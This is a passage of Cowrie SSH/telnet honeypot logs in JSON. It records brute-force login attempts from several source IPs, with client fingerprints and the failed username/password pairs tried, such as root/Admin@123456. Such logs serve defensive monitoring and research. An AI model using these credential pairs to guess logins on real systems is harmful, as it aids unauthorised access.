ha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:12.992136Z","src_ip":"162.241.177.22","session":"eba8fa5cdbcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kuwait","password":"KWT#Bitc0!n$M@st3r99","message":"login attempt [kuwait/KWT#Bitc0!n$M@st3r99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:13.081619Z","src_ip":"162.241.177.22","session":"eba8fa5cdbcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":60034,"dst_ip":"159.203.135.109","dst_port":22,"session":"38dacbdc1227","protocol":"ssh","message":"New connection: 103.149.28.157:60034 (159.203.135.109:22) [session: 38dacbdc1227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:13.667651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:13.671225Z","src_ip":"103.149.28.157","session":"38dacbdc1227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:13.926365Z","src_ip":"103.149.28.157","session":"38dacbdc1227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:14.114119Z","src_ip":"162.241.177.22","session":"eba8fa5cdbcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37000,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecd2110b6890","protocol":"ssh","message":"New connection: 45.156.87.253:37000 (10.17.0.5:22) [session: ecd2110b6890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:14.365625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:14.369814Z","src_ip":"45.156.87.253","session":"ecd2110b6890","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:14.505064Z","src_ip":"45.156.87.253","session":"ecd2110b6890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"benjamin1","message":"login attempt [root/benjamin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:14.675097Z","src_ip":"103.149.28.157","session":"38dacbdc1227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"raspberry","message":"login attempt [teamspeak/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:14.751661Z","src_ip":"45.156.87.253","session":"ecd2110b6890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:15.835360Z","src_ip":"45.156.87.253","session":"ecd2110b6890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:15.926524Z","src_ip":"103.149.28.157","session":"38dacbdc1227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37022,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce6f398fcefb","protocol":"ssh","message":"New connection: 45.156.87.253:37022 (10.17.0.5:22) [session: ce6f398fcefb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:17.795490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:17.870591Z","src_ip":"45.156.87.253","session":"ce6f398fcefb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:17.911857Z","src_ip":"45.156.87.253","session":"ce6f398fcefb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":55214,"dst_ip":"10.17.0.5","dst_port":23,"session":"2562f801a354","protocol":"telnet","message":"New connection: 72.167.226.244:55214 (10.17.0.5:23) [session: 2562f801a354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:17.933290Z"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123","message":"login attempt [openclaw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:18.202857Z","src_ip":"45.156.87.253","session":"ce6f398fcefb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:19.286170Z","src_ip":"45.156.87.253","session":"ce6f398fcefb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57680,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b5b03ecbc2a","protocol":"ssh","message":"New connection: 45.156.87.253:57680 (10.17.0.5:22) [session: 8b5b03ecbc2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:21.279170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:21.282491Z","src_ip":"45.156.87.253","session":"8b5b03ecbc2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:21.362816Z","src_ip":"45.156.87.253","session":"8b5b03ecbc2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"1qaz2wsx","message":"login attempt [core/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:21.605658Z","src_ip":"45.156.87.253","session":"8b5b03ecbc2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:22.789647Z","src_ip":"45.156.87.253","session":"8b5b03ecbc2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57694,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ec9d9e7459f","protocol":"ssh","message":"New connection: 45.156.87.253:57694 (10.17.0.5:22) [session: 3ec9d9e7459f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:24.690457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:24.693999Z","src_ip":"45.156.87.253","session":"3ec9d9e7459f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:24.774702Z","src_ip":"45.156.87.253","session":"3ec9d9e7459f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:25.018142Z","src_ip":"45.156.87.253","session":"3ec9d9e7459f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:26.103724Z","src_ip":"45.156.87.253","session":"3ec9d9e7459f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57710,"dst_ip":"10.17.0.5","dst_port":22,"session":"b638645a3096","protocol":"ssh","message":"New connection: 45.156.87.253:57710 (10.17.0.5:22) [session: b638645a3096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:28.220438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:28.224406Z","src_ip":"45.156.87.253","session":"b638645a3096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:28.305407Z","src_ip":"45.156.87.253","session":"b638645a3096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:28.549748Z","src_ip":"45.156.87.253","session":"b638645a3096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:29.634727Z","src_ip":"45.156.87.253","session":"b638645a3096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35928,"dst_ip":"10.17.0.5","dst_port":22,"session":"96fdcc0f4a3a","protocol":"ssh","message":"New connection: 45.156.87.253:35928 (10.17.0.5:22) [session: 96fdcc0f4a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:31.559512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:31.564243Z","src_ip":"45.156.87.253","session":"96fdcc0f4a3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:31.645594Z","src_ip":"45.156.87.253","session":"96fdcc0f4a3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:31.891445Z","src_ip":"45.156.87.253","session":"96fdcc0f4a3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:32.992927Z","src_ip":"45.156.87.253","session":"96fdcc0f4a3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35942,"dst_ip":"10.17.0.5","dst_port":22,"session":"701c2fb59944","protocol":"ssh","message":"New connection: 45.156.87.253:35942 (10.17.0.5:22) [session: 701c2fb59944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:34.922064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:34.926355Z","src_ip":"45.156.87.253","session":"701c2fb59944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:35.006930Z","src_ip":"45.156.87.253","session":"701c2fb59944","protocol":"ssh"}
